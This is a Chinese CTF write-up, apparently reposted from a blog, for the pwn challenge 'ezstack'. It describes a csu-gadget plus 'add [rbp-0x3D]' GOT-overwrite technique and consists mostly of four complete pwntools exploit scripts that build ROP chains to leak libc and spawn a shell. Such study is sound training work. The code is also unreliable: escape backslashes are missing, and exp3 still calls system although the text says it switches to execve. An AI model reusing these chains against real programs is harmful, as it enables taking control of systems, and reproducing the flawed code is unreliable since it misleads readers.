1. ezstack(csu+magic)
这题给了libc,建议用2.27-3ubuntu1_amd64做。
极致精简的栈溢出,除了NX其他保护全关。但是,没有puts/write/printf,got表上仅仅只有gets。没有任何输出函数意味着我们没法泄露libc,没有syscall意味着我们没法间接的使用输出函数。回想以前做过的题,还有什么呢?
理论上如果有call esp,或者允许跳转到任意地址执行,还可能是直接写shellcode,但这题开了NX,意味着栈不可执行,同时内存上没有同时允许写和执行的段。这条路也封死了。
经验老道的人看到Partial RELRO,会想到ret2dlresolve,这是一种比较复杂的万能gadget,条件之一就是Partial RELRO或者NO RELRO。
https://blog.csdn.net/qq_51868336/article/details/114644569
但是ret2dlresolve似乎在Partial RELRO需要用到write,这题不一定符合条件。
仔细在text段上找可利用的汇编,会发现一段不属于任何函数的magic gadget。
add [rbp-0x3D], ebx;nop;ret;
这条指令会把寄存器 ebx的值加到 [rbp – 0x3d] 所指向的内存地址处。假设ebx=0x10,rbp-0x3D上是bss段,*0x601080=0x0,执行完之后*0x601080=0x10。
也就是说只要控制了rbp和ebx,就是受限制的任意地址写。为什么是受限的呢,显然如果0x601080上如果是一个未知且随机的值,你没法通过加法将它变成一个固定的值。
同时,这个容易发现的magic gadget也是这题降低难度的一个点,因为它还可以在别的地方偏移出来。
可以看到add [rbp-0x3D], ebx汇编机器码是01 5D C3。
在__do_global_dtors_aux这个析构函数中,可以偏移出来这个机器码。
可以使用如下命令找出准确地址,然后进gdb看具体汇编。
ROPgadget --binary ./pwn --opcode 015dc3
gdb ./pwn
x/20i 0x00000000004005d8
虽然后面有点区别,但其实还是nop;ret;
到了这里就可以开始找pop rbp和pop ebx了。熟练的
ROPgadget --binary ./pwn --only "pop|ret"
看起来没有ebx啊,这里又要提到另外一个万能gadget了——__libc_csu_init。
__libc_csu_init分为两部分。
首先一眼就是pop rbx pop rbp的第一部分,r12-r15不影响我们使用,因此只需要第一部分,就就能完成和magic gadget的组合利用。
顺便再介绍下csu。
csu这个万能gadget之所以非常优秀,从第一部分的纯pop就能看得出来,它一下可以控制6个寄存器。尽管看起来没有x64关键的前三个参数rdi、rsi、rdx,但请注意我们用ROPgadget找出来的pop ret。
是的,以前我们一直用的pop rdi和pop rsi,也是从它身上偏移出来的。
不光如此,结合第二部分,前三个mov直接控制了rdx、rsi、rdi。然后call [r12+rbx*8],r12和rbx又由我们控制,所以可以call到任意地址。
至此单独使用第一部分,可以控制整整8个寄存器,由第一部分跳到第二部分,可以再多控制一个rdx寄存器并且call到任意地址。
但如果我们只想要控制包括rdx在内的9个寄存器,而不想call怎么办呢?也就是绕过剩下的。
call [r12+rbx*8]
add rbx, 1
cmp rbp, rbx
jnz short loc_4006D0
也很简单,只要满足rbx=0和r12=&_term_proc(_term_proc是一个空函数,这里r12要写它的函数指针,也就是存储0x400704的地址),就能让call [r12+rbx*8]无效。
接着rbx=1,比较rbp, rbx,不对则重新跳转到0x4006D0,只需要提前设置rbp=1,jnz short loc_4006D0也无效了。
随后再走一遍第一部分,之前必须设置的rbx=0,rbp=1,r12=&_term_proc再重新设置一遍,即可完美的控制9个寄存器。
回到题目上来,这里我们只需要用到csu的第一部分和magic gadget,即可实现劫持got表。等等,这题不需要泄露libc吗?答案是确实不需要。但题目提供了libc,刚好我们受限制的任意地址写是一个加法写,这使得我们可以直接用偏移劫持某个got到one_gadget上。这个got当然就是唯一的gets。
那么整个流程就出来了,先用csu,写入rbx=one_gadget-libc_gets,rbp=got_gets+0x3d,再用magic,最后跳转到main(_start)再调一次gets,即可完美进入one_gadget。
同时这题之所以给libc-2.27,也是为了降低难度,因为libc-2.27的one_gadget要求很低,以下是题目给的libc。
用2.27-3ubuntu1_amd64做题exp如下
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./pwn","b *0x400682nc")
sh = process("./pwn")
elf = ELF('./pwn')
got_gets = elf.got['gets'] #0x601018
print(hex(got_gets))
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
libc_gets = libc.sym['gets'] #0x800b0
print(hex(libc_gets))
one = [0x4f2c5, 0x4f322, 0x10a38c]
magic_gadget = 0x4005d8 #0x400658
csu_gadget = 0x4006EA
main_addr = 0x400510 #0x40065D
payload = "A" * 16 + p64(csu_gadget) + p64(one[2]-libc_gets) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0) + p64(magic_gadget) + p64(main_addr)
sh.sendline(payload)
sh.interactive()
gdb中可以看到csu_gadget之后,寄存器的布局。
magic_gadget之后,got_gets被成功劫持。
此时还有一个问题,one[0]和one[1]的相对地址是比libc_gets小的,必须要libc_gets加负数才能用。因此需要加个条件。
onelist = [0x4f2c5, 0x4f322, 0x10a38c]
one = onelist[1]
if one < libc_gets:
one = 0x10000000000000000 + (one - libc_gets)
else:
one = one - libc_gets
不过最终还是因为rsp+x=null条件问题只有one[2]才能打成功,这个应该是标准答案。
但学习不止于此,发散思维,如果one_gadget全部打不通必须system(‘/bin/sh’)怎么办?设置寄存器和call system好办,/bin/sh的字符串地址却比较难找,bss/栈/data均没法用,所以还是只能泄露libc。
那么之前是rbx=one_gadget-libc_gets,rbp=got_gets+0x3d,核心思路是劫持got_gets到one_gadget。现在想泄露libc就得劫持got_gets到libc_puts,同时提前设置rdi为got_gets。也就是。
payload = b"A" * 16
payload += p64(pop_rdi) + p64(got_gets)
payload += p64(csu_gadget) + p64(libc_puts-libc_gets) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0)
payload += p64(magic_gadget)
payload += p64(call_gets) #call_gets = 0x400682
payload += p64(csu_gadget)
成功泄露libc,不过记住此时的got_gets已经被篡改成libc_puts了,所以泄露的实际上是puts的真实地址。
但新的问题接踵而至,libc是泄露了,我们如何再执行一次gets栈溢出呢?看起来好像可以重新通过csu+magic把got_gets恢复成libc_gets,但实际操作起来就会发现call_gets没法ret到指定地址了。
PS:后来才知道其实没有那么麻烦,直接用plt_gets就行了。
这是因为我们为了避免自己设置好的寄存器被其他汇编覆盖掉,直接跳转到call_gets,而下面有leave;ret进行栈迁移,把栈迁移到got_gets+0x3d上了,这样无论如何也没法继续执行了。
所以我们需要找到一个call got_xxx之后直接ret的汇编,很容易在init()中找到。
而setvbuf()也在got表上,劫持setvbuf还解放了gets使得我们避免了改回got的麻烦操作。因此可以写出exp2。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./pwn","b *0x400682nc")
sh = process("./pwn")
elf = ELF('./pwn')
got_gets = elf.got['gets'] #0x601018
got_setvbuf = elf.got['setvbuf'] #0x601020
print(hex(got_setvbuf))
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
libc_gets = libc.sym['gets'] #0x800b0
libc_setvbuf = libc.sym['setvbuf'] #0x812f0
libc_puts = libc.sym['puts'] #0x809c0
libc_system = libc.sym['system']
libc_binsh = libc.search('/bin/sh').next()
print(hex(libc_setvbuf))
magic_gadget = 0x4005d8 #0x400658
csu_gadget = 0x4006EA
pop_rdi = 0x4006f3
ret = 0x400657
main_addr = 0x400510 #0x40065D
call_gets = 0x400682
call_setvbuf = 0x400650
payload = b"A" * 16
payload += p64(pop_rdi) + p64(got_gets) #设置rdi为got,puts的第一个参数
payload += p64(csu_gadget) + p64(0x10000000000000000+(libc_puts-libc_setvbuf)) + p64(got_setvbuf+0x3d) + p64(0) + p64(0) + p64(0) + p64(0) #csu+magic劫持got_setvbuf
payload += p64(magic_gadget)
payload += p64(call_setvbuf) #被劫持的setvbuf实际上为puts
payload += p64(0)
payload += p64(main_addr)
sh.sendline(payload)
libc_gets_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
libc_base = libc_gets_addr - libc_gets
print(hex(libc_base))
payload = b"A" * 16
payload += p64(ret)
payload += p64(pop_rdi) + p64(libc_binsh + libc_base)
payload += p64(libc_system + libc_base)
sh.sendline(payload)
sh.interactive()
这就结束了?劫持got_gets真的无法解决栈迁移问题吗?还记得之前说过的csu第二部分吗?
它刚好可以通过call got_gets来执行puts(got_gets),且没有栈迁移的问题。泄露完再把got_gets改回去,跳转到_start上重新栈溢出即可。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
sh = gdb.debug("./pwn","b *0x400682nc")
#sh = process("./pwn")
elf = ELF('./pwn')
got_gets = elf.got['gets'] #0x601018
got_setvbuf = elf.got['setvbuf'] #0x601020
print(hex(got_setvbuf))
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
libc_gets = libc.sym['gets'] #0x800b0
libc_setvbuf = libc.sym['setvbuf'] #0x812f0
libc_puts = libc.sym['puts'] #0x809c0
libc_system = libc.sym['system']
libc_binsh = libc.search('/bin/sh').next()
print(hex(libc_setvbuf))
magic_gadget = 0x4005d8 #0x400658
csu_gadget = 0x4006EA
csu_gadget2 = 0x4006D0
pop_rdi = 0x4006f3
ret = 0x400657
main_addr = 0x400510 #0x40065D
call_gets = 0x400682
call_setvbuf = 0x400650
payload = b"A" * 16
payload += p64(csu_gadget) + p64(libc_puts-libc_gets) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0) #csu+magic劫持got_gets
payload += p64(magic_gadget)
payload += p64(csu_gadget) + p64(0) + p64(1) + p64(got_gets) + p64(got_gets) + p64(0) + p64(0) # csu两部分一起call puts
payload += p64(csu_gadget2) + p64(0) * 7
payload += p64(csu_gadget) + p64(0x10000000000000000-(libc_puts-libc_gets)) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0) #csu+magic将got_gets改回去
payload += p64(magic_gadget)
payload += p64(main_addr)
sh.sendline(payload)
libc_puts_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
libc_base = libc_puts_addr - libc_puts
print(hex(libc_base))
payload = b"A" * 16
payload += p64(ret)
payload += p64(pop_rdi) + p64(libc_binsh + libc_base)
payload += p64(libc_system + libc_base)
sh.sendline(payload)
sh.interactive()
但是最终却失败了,经过两份exp的动态调试对比,可以发现,在system()内部,调execve()的时候,rdx不对。
很容易想到问题所在——我们栈溢出的payload太长了,导致覆盖了栈上的环境变量。而system()会从栈上取环境变量,放入rdx上,最终执行execve(‘/bin/sh’, ‘SHELL=/bin/bash’, ‘sh’)。回溯一下果然如此。
第一次栈溢出之后
但实际上execve的第二和第三个参数都是不必要的,因此将system换成execve即可getshell成功。以下是exp3。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
sh = gdb.debug("./pwn","b *0x400682nc")
#sh = process("./pwn")
elf = ELF('./pwn')
got_gets = elf.got['gets'] #0x601018
got_setvbuf = elf.got['setvbuf'] #0x601020
print(hex(got_setvbuf))
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
libc_gets = libc.sym['gets'] #0x800b0
libc_setvbuf = libc.sym['setvbuf'] #0x812f0
libc_puts = libc.sym['puts'] #0x809c0
libc_system = libc.sym['system']
libc_binsh = libc.search('/bin/sh').next()
print(hex(libc_setvbuf))
magic_gadget = 0x4005d8 #0x400658
csu_gadget = 0x4006EA
csu_gadget2 = 0x4006D0
pop_rdi = 0x4006f3
ret = 0x400657
main_addr = 0x400510 #0x40065D
call_gets = 0x400682
call_setvbuf = 0x400650
payload = b"A" * 16
payload += p64(csu_gadget) + p64(libc_puts-libc_gets) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0) #csu+magic劫持got_gets
payload += p64(magic_gadget)
payload += p64(csu_gadget) + p64(0) + p64(1) + p64(got_gets) + p64(got_gets) + p64(0) + p64(0) # csu两部分一起call puts
payload += p64(csu_gadget2) + p64(0) * 7
payload += p64(csu_gadget) + p64(0x10000000000000000-(libc_puts-libc_gets)) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0) #csu+magic将got_gets改回去
payload += p64(magic_gadget)
payload += p64(main_addr)
sh.sendline(payload)
libc_puts_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
libc_base = libc_puts_addr - libc_puts
print(hex(libc_base))
payload = b"A" * 16
payload += p64(ret)
payload += p64(pop_rdi) + p64(libc_binsh + libc_base)
payload += p64(libc_system + libc_base)
sh.sendline(payload)
sh.interactive()
后来经朋友提醒,其实没有那么麻烦,csu第二部分可以用plt_gets代替,以下是exp4
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./pwn","b *0x400682nc")
sh = process("./pwn")
elf = ELF('./pwn')
plt_gets = elf.plt['gets']
got_gets = elf.got['gets'] #0x601018
got_setvbuf = elf.got['setvbuf'] #0x601020
print(hex(got_setvbuf))
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
libc_gets = libc.sym['gets'] #0x800b0
libc_setvbuf = libc.sym['setvbuf'] #0x812f0
libc_puts = libc.sym['puts'] #0x809c0
libc_system = libc.sym['system']
libc_binsh = libc.search('/bin/sh').next()
print(hex(libc_setvbuf))
magic_gadget = 0x4005d8 #0x400658
csu_gadget = 0x4006EA
pop_rdi = 0x4006f3
ret = 0x400657
main_addr = 0x400510 #0x40065D
call_gets = 0x400682
call_setvbuf = 0x400650
payload = b"A" * 16
payload += p64(csu_gadget) + p64(libc_puts-libc_gets) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0)
payload += p64(magic_gadget)
payload += p64(pop_rdi) + p64(got_gets)
payload += p64(plt_gets)
payload += p64(csu_gadget) + p64(0x10000000000000000-(libc_puts-libc_gets)) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0)
payload += p64(magic_gadget)
payload += p64(main_addr)
sh.sendline(payload)
libc_puts_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
libc_base = libc_puts_addr - libc_puts
print(hex(libc_base))
payload = b"A" * 16
payload += p64(ret)
payload += p64(pop_rdi) + p64(libc_binsh + libc_base)
payload += p64(libc_system + libc_base)
sh.sendline(payload)
sh.interactive()
原文始发于微信公众号(珂技知识分享):web选手入门pwn(20) ——csu+magic